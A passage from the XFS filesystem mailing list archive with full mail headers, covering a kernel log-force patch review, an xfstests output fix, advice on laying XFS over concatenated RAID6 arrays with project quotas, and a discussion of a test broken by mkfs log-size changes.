1/3] xfs: always do log forces via the workqueue In-Reply-To: <20140220002358.GH4916@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392995082 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/19/2014 07:23 PM, Dave Chinner wrote: > On Wed, Feb 19, 2014 at 01:24:54PM -0500, Brian Foster wrote: >> On 02/18/2014 11:16 PM, Dave Chinner wrote: >>> From: Dave Chinner >>> ... >>> + >>> + /* >>> + * The call to xlog_cil_push_now() executes the push in the background. >>> + * Hence by the time we have got here it our sequence may not have been >>> + * pushed yet. This is true if the current sequence still matches the >>> + * push sequence after the above wait loop and the CIL still contains >>> + * dirty objects. >>> + * >>> + * When the push occurs, it will empty the CIL and >>> + * atomically increment the currect sequence past the push sequence and >>> + * move it into the committing list. Of course, if the CIL is clean at >>> + * the time of the push, it won't have pushed the CIL at all, so in that >>> + * case we should try the push for this sequence again from the start >>> + * just in case. >>> + */ >>> + >>> + if (sequence == cil->xc_current_sequence && >>> + !list_empty(&cil->xc_cil)) { >>> + spin_unlock(&cil->xc_push_lock); >>> + goto restart; >>> + } >>> + >> >> IIUC, the objective here is to make sure we don't leave this code path >> before the push even starts and the ctx makes it onto the committing >> list, due to xlog_cil_push_now() moving things to a workqueue. > > Right. > >> Given that, what's the purpose of re-executing the background push as >> opposed to restarting the wait sequence (as done previously)? It looks >> like push_now() won't queue the work again due to cil->xc_push_seq, but >> it will flush the queue and I suppose make it more likely the push >> starts. Is that the intent? > > Effectively. But the other thing that it is protecting against is > that foreground push is done without holding the cil->xc_ctx_lock, > and so we can get the situation where we try a foreground push > of the current sequence, see that the CIL is empty and return > without pushing, wait for previous sequences to commit, then find > that the CIL has items on the CIL in the sequence we are supposed to > be committing. > > In this case, we don't know if this occurred because the workqueue > has not started working on our push, or whether we raced on an empty > CIL, and hence we need to make sure that everything in the sequence > we are support to commit is pushed to the log. > > Hence if the current sequence is dirty after we've ensure that all > prior sequences are fully checkpointed, need to go back and > push the CIL again to ensure that when we return to the caller the > CIL is checkpointed up to the point in time of the log force > occurring. > Ok, I see. The foreground variant checks the push sequence and xc_cil list state without xc_ctx_lock. The background variant (down in xlog_cil_push()) will repeat the list check while under xc_ctx_lock. >From what I can see, this potential behavior of a foreground push seeing an empty cil is possible even before this patch. xlog_cil_force_lsn() will just wait on all of the previous sequences and return. Another push can move things along for that sequence, as xc_push_seq has not been updated. The workqueue pattern opens up potential for the "wait before handler runs" race, and the sequence and list check is necessary to detect that. Doing the push_now() again seems technically unnecessary, but the flush executes and thus should guarantee we iterate this sequence twice at most. Seems reasonable. General follow up question - what makes not taking xc_ctx_lock anywhere in here safe in the first place? In the current implementation, if the push has already been queued (note that we flush before we take the spinlock and check the push sequence) and we get into the ctx wait sequence, isn't it possible to see xc_committing before the ctx we're pushing is even added? With this patch, what prevents us from seeing the updated xc_current_sequence and thus skipping the restart (xc_current_sequence isn't updated under the spinlock) before the pushed ctx has been added to xc_committing? Brian > Cheers, > > Dave. > From sandeen@redhat.com Fri Feb 21 12:47:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0EF437F6F for ; Fri, 21 Feb 2014 12:47:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CBE598F8052 for ; Fri, 21 Feb 2014 10:47:48 -0800 (PST) X-ASG-Debug-ID: 1393008467-04bdf00fca261020001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3rU7iqEzStvy8diT for ; Fri, 21 Feb 2014 10:47:47 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1LIllfV016242 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 21 Feb 2014 13:47:47 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1LIljWv016255 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Fri, 21 Feb 2014 13:47:46 -0500 Message-ID: <53079F51.2050406@redhat.com> Date: Fri, 21 Feb 2014 12:47:45 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests: fix 300.out X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfstests: fix 300.out Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393008467 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This test was written before a solution was in place, I think, and so the expected output wasn't well tested. The test does a loop of sparse writes from 6 to 0, but the .out file expects 6 (not 7) extents. Fix it. Signed-off-by: Eric Sandeen --- diff --git a/tests/xfs/300.out b/tests/xfs/300.out index ac03557..29ed771 100644 --- a/tests/xfs/300.out +++ b/tests/xfs/300.out @@ -1,3 +1,3 @@ QA output created by 300 SCRATCH_MNT/300.test -extents before:6 after:1 DONE SCRATCH_MNT/300.test +extents before:7 after:1 DONE SCRATCH_MNT/300.test From chamill@wesleyan.edu Fri Feb 21 13:17:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ED9BD7F9E for ; Fri, 21 Feb 2014 13:17:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 68FDEAC002 for ; Fri, 21 Feb 2014 11:17:28 -0800 (PST) X-ASG-Debug-ID: 1393010246-04cbb00c2b67bfc0001-NocioJ Received: from internal-smtp4.wesleyan.edu (internal-smtp4.wesleyan.edu [129.133.6.200]) by cuda.sgi.com with ESMTP id T1T77DvwzQeYiwVw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 21 Feb 2014 11:17:26 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.200 Received: from webmail.wesleyan.edu (express2.wesleyan.edu [129.133.6.180]) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s1LJHL7o030676; Fri, 21 Feb 2014 14:17:21 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1393010241; bh=4TdmgKASyLjmQy6qSDDyBi8kQHvw9uYNiEGP7U0znmA=; h=In-Reply-To:References:Date:Subject:From:To:Cc; b=knDl+EDfvXfNdNxmdtsiXx4RO5SpQP2sWIhXqEiRQ6r5T5603vk3IKB5sIBBVrS3L RECBqz8DRmOVXEYJch1TTIlUBsOWRjtB+352CvkJ/QBI/ZoMMjt/yMSaCdiR8ioF7c 77RA32cRAQAXT/XXDhWclkDOvwdqPWH8jiWEIip4= Received: from 129.133.22.76 (proxying for 129.133.22.76) (SquirrelMail authenticated user chamill) by webmail.wesleyan.edu with HTTP; Fri, 21 Feb 2014 14:17:21 -0500 Message-ID: <9d279286de89334f66bef9eb832c2e45.squirrel@webmail.wesleyan.edu> In-Reply-To: <5306C90B.1000904@hardwarefreak.com> References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> <20140220183125.29149.64880@al.wesleyan.edu> <5306C90B.1000904@hardwarefreak.com> Date: Fri, 21 Feb 2014 14:17:21 -0500 Subject: Re: Question regarding XFS on LVM over hardware RAID. From: "C. Morgan Hamill" X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. To: stan@hardwarefreak.com Cc: xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Wesleyan-MailScanner-ID: s1LJHL7o030676 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp4.wesleyan.edu[129.133.6.200] X-Barracuda-Start-Time: 1393010246 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, February 20, 2014 10:33 pm, Stan Hoeppner wrote: > Forget all of this. Forget RAID60. I think you'd be best served by a > concatenation. > > You have a RAID chassis with 15 drives and two 15 drive JBODs daisy > chained to it, all 4TB drives, correct? Your original setup was 1 spare > and one 14 drive RAID6 array per chassis, 12 data spindles. Correct? > Stick with that. It's all in one chassis, but correct. > Export each RAID6 as a distinct LUN to the host. Make an mdadm --linear > array of the 3 RAID6 LUNs, devices. Then format the md linear device, > e.g. /dev/md0 using the geometry of a single RAID6 array. We want to > make sure each allocation group is wholly contained within a RAID6 > array. You have 48TB per array and 3 arrays, 144TB total. 1TB=1000^4 > and XFS deals with TebiBytes, or 1024^4. Max agsize is 1TiB. So to get > exactly 48 AGs per array, 144 total AGs, we'd format with > > # mkfs.xfs -d su=128k,sw=12,agcount=144 I am intrigued... > The --linear array, or generically concatenation, stitches the RAID6 > arrays together end-to-end. Here the filesystem starts at LBA0 on the > first array and ends on the last LBA of the 3rd array, hence "linear". > XFS performs all operations at the AG level. Since each AG sits atop > only one RAID6, the filesystem alignment geometry is that of a single > RAID6. Any individual write will peak at ~1.2GB/s. Since you're > limited by the network to 100MB/s throughput this shouldn't be an issue. > > Using an md linear array you can easily expand in the future without all > the LVM headaches, by simply adding another identical RAID6 array to the > linear array (see mdadm grow) and then growing the filesystem with > xfs_growfs. How does this differ from standard linear LVM? Is it simply that we avoid the extent size issue? > In doing so, you will want to add the new chassis before > the filesystem reaches ~70% capacity. If you let it grow past that > point, most of your new writes may go to only the new RAID6 where the > bulk of your large free space extents now exist. This will create an IO > hotspot on the new chassis, while the original 3 will see fewer writes. Good to know. > XFS has had filesystem quotas for exactly this purpose, for almost as > long as it has existed, well over 15 years. There are 3 types of > quotas: user, group, and project. You must enable quotas with a mount > option. You manipulate quotas with the xfs_quota command. See > > man xfs_quota > man mount > > Project quotas are set on a directory tree level. Set a soft and hard > project quota on a directory and the available space reported to any > process writing into it or its subdirectories is that of the project > quota, not the actual filesystem free space. The quota can be increased > or decreased at will using xfs_quota. That solves your "sizing" problem > rather elegantly. Oh, I was unaware of project quotas. > Now, when using a concatenation, md linear array, to reap the rewards of > parallelism the requirement is that the application creates lots of > directories with a fairly even spread of file IO. In this case, to get > all 3 RAID6 arrays into play, that requires creation and use of at > minimum 97 directories. Most backup applications make tons of > directories so you should be golden here. Yes, quite a few directories are created. > You're welcome Morgan. I hope this helps steer you towards what I think > is a much better architecture for your needs. > > Dave and I both initially said RAID60 was an ok way to go, but the more > I think this through, considering ease of expansion, using a single > filesystem and project quotas, it's hard to beat the concat setup. Seems like this will work quite well. Thanks so much for all your help. -- Morgan From sandeen@sandeen.net Fri Feb 21 13:47:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C1D547F73 for ; Fri, 21 Feb 2014 13:47:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 454EEAC001 for ; Fri, 21 Feb 2014 11:47:42 -0800 (PST) X-ASG-Debug-ID: 1393012034-04cb6c6de0686030001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id oDLCcy5HVCQO2KS2 for ; Fri, 21 Feb 2014 11:47:14 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id DF61D651AC1C; Fri, 21 Feb 2014 13:47:13 -0600 (CST) Message-ID: <5307AD41.1000807@sandeen.net> Date: Fri, 21 Feb 2014 13:47:13 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH 46/55] xfs: Add xfs_log_rlimit.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-47-git-send-email-david@fromorbit.com> <5251A450.4000407@sandeen.net> <5252125B.2040300@sandeen.net> <5252BB9A.2040705@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 46/55] xfs: Add xfs_log_rlimit.c In-Reply-To: <5252BB9A.2040705@sgi.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393012034 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145364 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/7/13, 8:48 AM, Mark Tinguely wrote: > On 10/06/13 20:46, Eric Sandeen wrote: >> On 10/6/13 12:56 PM, Eric Sandeen wrote: >>> On 9/4/13 5:05 PM, Dave Chinner wrote: >>>>> From: Jie Liu >>>>> >>>>> Add source files for xfs_log_rlimit.c The new file is used for log >>>>> size calculations and validation shared with userspace. >>>>> >>>>> [dchinner: xfs_log_calc_max_attrsetm_res() does not modify the >>>>> tr_attrsetm reservation, just calculates the maximum. ] >>>>> >>>>> [dchinner: rework loop in xfs_log_get_max_trans_res() ] >>>>> >>>>> [dchinner: implement xfs_log_calc_unit_res() in util.c to give mkfs >>>>> a worse case calculation of the log size needed. ] >>> 2 things: >>> >>> Ben, seems like your workflow lost the: >>> >>> From: Jie Liu >>> >>> at the top - in git, the author is listed as Dave in git. >>> >>> (Although those [parentheticals] were pretty fundamental changes, >>> something I just gave Rich a hard time for) ;) >>> >>> Also, this now breaks xfstest xfs/216 as a result of the mkfs changes. >>> What are the plans for that? >> >> Sorry, to be clear, it breaks that test (and others, pretty sure) >> because the log sizes for small filesystems are significantly bigger: >> >> -fssize=1g log =internal log bsize=4096 blocks=2560, version=2 >> +fssize=1g log =internal log bsize=4096 blocks=12800, version=2 >> >> -fssize=2g log =internal log bsize=4096 blocks=2560, version=2 >> +fssize=2g log =internal log bsize=4096 blocks=12800, version=2 >> >> -fssize=4g log =internal log bsize=4096 blocks=2560, version=2 >> +fssize=4g log =internal log bsize=4096 blocks=12800, version=2 >> >> -fssize=8g log =internal log bsize=4096 blocks=2560, version=2 >> +fssize=8g log =internal log bsize=4096 blocks=12800, version=2 >> >> -fssize=16g log =internal log bsize=4096 blocks=2560, version=2 >> +fssize=16g log =internal log bsize=4096 blocks=12800, version=2 >> >> -fssize=32g log =internal log bsize=4096 blocks=4096, version=2 >> +fssize=32g log =internal log bsize=4096 blocks=12800, version=2 >> >> -fssize=64g log =internal log bsize=4096 blocks=8192, version=2 >> +fssize=64g log =internal log bsize=4096 blocks=12800, version=2 >> >> fssize=128g log =internal log bsize=4096 blocks=16384, version=2 >> fssize=256g log =internal log bsize=4096 blocks=32768, version=2 >> >> -Eric > > > Separate outputs for different versions of the OS version like we do for 16/32 bit tests' output? I'm not sure what we'd switch on.... Dave, a) was the change intentional (I think it was) and b) any suggestion for handling this test? -Eric From tinguely@sgi.com Fri Feb 21 14:40:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AA6D37FA1 for ; Fri, 21 Feb 2014 14:40:34 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7332A304097; Fri, 21 Feb 2014 12:40:31 -0800 (PST) Message-ID: <5307B9C2.4000908@sgi.com> Date: Fri, 21 Feb 2014 14:40:34 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: [PATCH 46/55] xfs: Add xfs_log_rlimit.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-47-git-send-email-david@fromorbit.com> <5251A450.4000407@sandeen.net> <5252125B.2040300@sandeen.net> <5252BB9A.2040705@sgi.com> <5307AD41.1000807@sandeen.net> In-Reply-To: <5307AD41.1000807@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/21/14 13:47, Eric Sandeen wrote: > On 10/7/13, 8:48 AM, Mark Tinguely wrote: >> On 10/06/13 20:46, Eric Sandeen wrote: >>> On 10/6/13 12:56 PM, Eric Sandeen wrote: >>>> On 9/4/13 5:05 PM, Dave Chinner wrote: >>>>>> From: Jie Liu >>>>>> >>>>>> Add source files for xfs_log_rlimit.c The new file is used for log >>>>>> size calculations and validation shared with userspace. >>>>>> >>>>>> [dchinner: xfs_log_calc_max_attrsetm_res() does not modify the >>>>>> tr_attrsetm reservation, just calculates the maximum. ] >>>>>> >>>>>> [dchinner: rework loop in xfs_log_get_max_trans_res() ] >>>>>> >>>>>> [dchinner: implement xfs_log_calc_unit_res() in util.c to give mkfs >>>>>> a worse case calculation of the log size needed. ] >>>> 2 things: >>>> >>>> Ben, seems like your workflow lost the: >>>> >>>> From: Jie Liu >>>> >>>> at the top - in git, the author is listed as Dave in git. >>>> >>>> (Although those [parentheticals] were pretty fundamental changes, >>>> something I just gave Rich a hard time for) ;) >>>> >>>> Also, this now breaks xfstest xfs/216 as a result of the mkfs changes. >>>> What are the plans for that? >>> >>> Sorry, to be clear, it breaks that test (and others, pretty sure) >>> because the log sizes for small filesystems are significantly bigger: >>> >>> -fssize=1g log =internal log bsize=4096 blocks=2560, version=2 >>> +fssize=1g log =internal log bsize=4096 blocks=12800, version=2 >>> >>> -fssize=2g log =internal log bsize=4096 blocks=2560, version=2 >>> +fssize=2g log =internal log bsize=4096 blocks=12800, version=2 >>> >>> -fssize=4g log =internal log bsize=4096 blocks=2560, version=2 >>> +fssize=4g log =internal log bsize=4096 blocks=12800, version=2 >>> >>> -fssize=8g log =internal log bsize=4096 blocks=2560, version=2 >>> +fssize=8g log =internal log bsize=4096 blocks=12800, version=2 >>> >>> -fssize=16g log =internal log bsize=4096 blocks=2560, version=2 >>> +fssize=16g log =internal log bsize=4096 blocks=12800, version=2 >>> >>> -fssize=32g log =internal log bsize=4096 blocks=4096, version=2 >>> +fssize=32g log =internal log bsize=4096 blocks=12800, version=2 >>> >>> -fssize=64g log =internal log bsize=4096 blocks=8192, version=2 >>> +fssize=64g log =internal log bsize=4096 blocks=12800, version=2 >>> >>> fssize=128g log =internal log bsize=4096 blocks=16384, version=2 >>> fssize=256g log =internal log bsize=4096 blocks=32768, version=2 >>> >>> -Eric >> >> >> Separate outputs for different versions of the OS version like we do for 16/32 bit tests' output? > > I'm not sure what we'd switch on.... I was thinking of the output of uname(1). Probably easier to filter the results in the test on the OS version rather than have separate golden outputs. --Mark. From sandeen@sandeen.net Fri Feb 21 14:56:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4BBDF7FA2 for ; Fri, 21 Feb 2014 14:56:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CEE57AC005 for ; Fri, 21 Feb 2014 12:56:30 -0800 (PST) X-ASG-Debug-ID: 1393016188-04cb6c6de268bc50001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id aCAleGvVyT8nKvpT for ; Fri, 21 Feb 2014 12:56:29 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id DD3746541623; Fri, 21 Feb 2014 14:56:28 -0600 (CST) Message-ID: <5307BD7C.808@sandeen.net> Date: Fri, 21 Feb 2014 14:56:28 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH 46/55] xfs: Add xfs_log_rlimit.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-47-git-send-email-david@fromorbit.com> <5251A450.4000407@sandeen.net> <5252125B.2040300@sandeen.net> <5252BB9A.2040705@sgi.com> <5307AD41.1000807@sandeen.net> <5307B9C2.4000908@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 46/55] xfs: Add xfs_log_rlimit.c In-Reply-To: <5307B9C2.4000908@sgi.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393016188 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145365 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/21/14, 2:40 PM, Mark Tinguely wrote: > On 02/21/14 13:47, Eric Sandeen wrote: >> On 10/7/13, 8:48 AM, Mark Tinguely wrote: >>> On 10/06/13 20:46, Eric Sandeen wrote: >>>> On 10/6/13 12:56 PM, Eric Sandeen wrote: >>>>> On 9/4/13 5:05 PM, Dave Chinner wrote: >>>>>>> From: Jie Liu >>>>>>> >>>>>>> Add source files for xfs_log_rlimit.c The new file is used for log >>>>>>> size calculations and validation shared with userspace. >>>>>>> >>>>>>> [dchinner: xfs_log_calc_max_attrsetm_res() does not modify the >>>>>>> tr_attrsetm reservation, just calculates the maximum. ] >>>>>>> >>>>>>> [dchinner: rework loop in xfs_log_get_max_trans_res() ] >>>>>>> >>>>>>> [dchinner: implement xfs_log_calc_unit_res() in util.c to give mkfs >>>>>>> a worse case calculation of the log size needed. ] >>>>> 2 things: >>>>> >>>>> Ben, seems like your workflow lost the: >>>>> >>>>> From: Jie Liu >>>>> >>>>> at the top - in git, the author is listed as Dave in git. >>>>> >>>>> (Although those [parentheticals] were pretty fundamental changes, >>>>> something I just gave Rich a hard time for) ;) >>>>> >>>>> Also, this now breaks xfstest xfs/216 as a result of the mkfs changes. >>>>> What are the plans for that? >>>> >>>> Sorry, to be clear, it breaks that test (and others, pretty sure) >>>> because the log sizes for small filesystems are significantly bigger: >>>> >>>> -fssize=1g log =internal log bsize=4096 blocks=2560, version=2 >>>> +fssize=1g log =internal log bsize=4096 blocks=12800, version=2 >>>> >>>> -fssize=2g log =internal log bsize=4096 blocks=2560, version=2 >>>> +fssize=2g log =internal log bsize=4096 blocks=12800, version=2 >>>> >>>> -fssize=4g log =internal log bsize=4096 blocks=2560, version=2 >>>> +fssize=4g log =internal log bsize=4096 blocks=12800, version=2 >>>> >>>> -fssize=8g log =internal log bsize=4096 blocks=2560, version=2 >>>> +fssize=8g log =internal log bsize=4096 blocks=12800, version=2 >>>> >>>> -fssize=16g log =internal log bsize=4096 blocks=2560, version=2 >>>> +fssize=16g log =internal log bsize=4096 blocks=12800, version=2 >>>> >>>> -fssize=32g log =internal log bsize=4096 blocks=4096, version=2 >>>> +fssize=32g log =internal log bsize=4096 blocks=12800, version=2 >>>> >>>> -fssize=64g log =internal log bsize=4096 blocks=8192, version=2 >>>> +fssize=64g log =internal log bsize=4096 blocks=12800, version=2 >>>> >>>> fssize=128g log =internal log bsize=4096 blocks=16384, version=2 >>>> fssize=256g log =internal log bsize=4096 blocks=32768, version=2 >>>> >>>> -Eric >>> >>> >>> Separate outputs for different versions of the OS version like we do for 16/32 bit tests' output? >> >> I'm not sure what we'd switch on.... > > I was thinking of the output of uname(1). Probably easier to filter the results in the test on the OS version rather than have separate golden outputs. The behavior depends on the xfsprogs version, though, not the kernel version. I .... guess we could do mkfs.xfs -V and split on that. I do want to make sure it's all intentional though, first. -Eric > --Mark. > From tinguely@sgi.com Fri Feb 21 15:46:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AB1EA7FAA for ; Fri, 21 Feb 2014 15:46:19 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6FED2304081; Fri, 21 Feb 2014 13:46:19 -0800 (PST) Message-ID: <5307C92E.9020709@sgi.com> Date: Fri, 21 Feb 2014 15:46:22 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: [PATCH 46/55] xfs: Add xfs_log_rlimit.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-47-git-send-email-david@fromorbit.com> <5251A450.4000407@sandeen.net> 